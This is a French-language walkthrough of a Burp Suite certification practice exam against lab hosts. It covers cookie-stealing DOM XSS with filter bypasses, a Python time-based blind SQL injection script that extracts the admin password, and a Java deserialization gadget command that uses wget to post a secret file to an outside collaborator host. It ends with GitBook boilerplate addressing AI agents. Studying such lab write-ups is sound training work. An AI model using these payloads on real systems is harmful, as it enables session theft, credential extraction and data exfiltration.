> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/bscp-certification-practical-guide/writeup-practice-exam-2-bscp.md).

# Compte rendu de l’examen pratique BSCP 2

## Étape 1 : Accès initial (XSS DOM et vol de cookie)

Vecteur : Injecter du JavaScript dans le DOM via un paramètre de recherche (`find`). Défi : présence de filtres/WAF limitant l'utilisation de certains caractères.

#### 1. Analyse et contournement

Après plusieurs tests pour échapper à la structure JSON/JavaScript existante :

```javascript
"};alert`1`//
","a":alert1}//
"-alert`1`-"
```

#### 2. Charge utile d'exfiltration

L'objectif est de rediriger l'administrateur vers notre serveur d'exploit en lui faisant transporter son cookie de session.

Charge utile de redirection : `"};location='https://[EXPLOIT-SERVER]/log?c='+document.cookie;//`

{% code overflow="wrap" %}

```bash
"};location='https://exploit-0aa20067041b291b83a6ea7c0130006e.exploit-server.net/?c='+document.cookie;//
```

{% endcode %}

Exploit final (à livrer via le serveur d'exploit) :

```javascript
<script>
  location = "https://0a79004d04a329a7830bebde00dd0088.web-security-academy.net/?find=%22%7D%3Blocation%3D%27https%3A%2F%2Fexploit-0aa20067041b291b83a6ea7c0130006e.exploit-server.net%2F%3Fc%3D%27%2Bdocument.cookie%3B%2F%2F";
</script>
```

## Étape 2 : Élévation de privilèges (SQLi temporelle)

Vecteur : Injecter du SQL dans le `order` paramètre de la recherche filtrée. Base de données : PostgreSQL.

#### 1. Validation de l'injection

L'injection est confirmée par une simple condition qui ne perturbe pas le tri : `ASC,(CASE WHEN (1=1) THEN 1 ELSE 2 END)`

#### 2. Automatisation de l'extraction (SQLi aveugle)

Comme l'application ne renvoie pas d'erreur directe avec le contenu, on utilise une attaque temporelle.

Logique de la charge utile : le script vérifie le `administrateur` mot de passe caractère par caractère. Si le caractère est correct, la base de données attend 3 secondes (`pg_sleep(3)`).

Script Python d'extraction :

```python
import requests
import time

url = "https://[LAB-ID].web-security-academy.net/filtered_search"
cookies = {"session": "your_session_id"}
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""

for i in range(1, 21):
    for char in charset:
        # Charge utile PostgreSQL basée sur le temps
        payload = f"ASC,(SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='administrator'),{i},1)='{char}') THEN (SELECT 1 FROM pg_sleep(3)) ELSE 1 END)"

        params = {"find": "", "organize": "5", "order": payload}

        start = time.time()
        requests.get(url, params=params, cookies=cookies)

        if (time.time() - start) >= 2.8:
            password += char
            print(f"[+] Lettre {i}: {char} -> {password}")
            break
```

## Étape 3 : Accès au système de fichiers (désérialisation Java)

Objectif : lire le `/home/carlos/secret` fichier via une désérialisation non sécurisée.

#### 1. Analyse du cookie

Le `admin-prefs` cookie contient un objet Java sérialisé, compressé en Gzip et encodé en Base64.

{% code overflow="wrap" %}

```bash
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d;
```

{% endcode %}

#### 2. Génération de la charge utile (Yesserial)

Lors de cette deuxième analyse, la bibliothèque vulnérable identifiée est CommonsCollections7.

Contrôle de génération :

{% code overflow="wrap" %}

```bash
CommonsCollections7 '/usr/bin/wget --post-file /home/carlos/secret https://kpd4qvnp2c1ae8xbhncxyu0fl6rzfp3e.oastify.com'
```

{% endcode %}

#### 3. Mise en œuvre

Procédure : compresser le binaire en Gzip -> encoder en Base64 -> remplacer la valeur dans `admin-prefs` cookie.

<figure><img src="/files/c12cd80e9ecfab9b3534e54606b5aece1375b797" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/bscp-certification-practical-guide/writeup-practice-exam-2-bscp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
